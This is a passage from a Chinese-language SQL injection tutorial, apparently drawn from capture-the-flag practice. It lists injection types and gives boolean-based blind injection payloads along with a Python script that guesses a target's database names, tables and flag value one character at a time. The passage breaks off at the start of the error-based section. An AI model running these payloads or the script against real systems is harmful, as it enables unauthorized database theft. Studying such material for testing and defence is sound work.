SQL的注入类型:
- Boolean-based blind SQL injection(布尔型注入)
- Error-based SQL injection(报错型注入)
- UNION query SQL injection(可联合查询注入)
- Stacked queries SQL injection(可多语句查询注入)
- Time-based blind SQL injection(基于时间延迟注入)
Boolean-based blind SQL injection(布尔型注入)
通过判断页面返回情况获得想要的信息。
如下SQL注入:
1 http://hello.com/view?id=1 and substring(version(),1,1)=5
如果服务端MySQL版本是5.X的话,那么页面返回的内容就会跟正常请求一样。攻击者就可以通过这种方式获取到MySQL的各类信息。
id='' and ascii(substr((select flag from flag), 2, 1))?102#
构造以上的请求进行字符猜解。
补充一个布尔型字符猜解的脚本:
import requests;
url='http://192.168.5.78/viewld.do?ldid=2%20And%20'
maystr='0987654321qwertyuiopasdfghjklzxcvbnm._{}'
flag=''
str=''
for j in range(50):
for i in maystr:
#str = url + "Substring((SeLect database()) From %s fOr 1)='%s'" %(j,i)
#news
#str = url + "Substring((SeLect group_concat(table_name) From InfOrmation_schema.tables WHere table_schema='news')From %s fOr 1)='%s'" %(j,i)
#tb_admin tb_flag tb_news
#str = url + "Substring((SeLect group_concat(column_name) From InfOrmation_schema.columns WHere table_name='tb_flag')From %s fOr 1)='%s'" %(j,i)
#flag
str = url + "Substring((SeLect flag From tb_flag)From %s fOr 1)='%s'" %(j,i)
#flag{1396265adbb760c86475304b98e3f61c}
res=requests.get(str).text
if len(res)>1200:
flag+=i
print i
continue
print flag
Error-based SQL injection(报错型注入)
如果页面能够输出SQL报错信息,则可以从报错信息中获得想要的信息。
典型的就是利用group by的duplicate entry错误。关于这个错误,貌似是MySQL存在的 bug: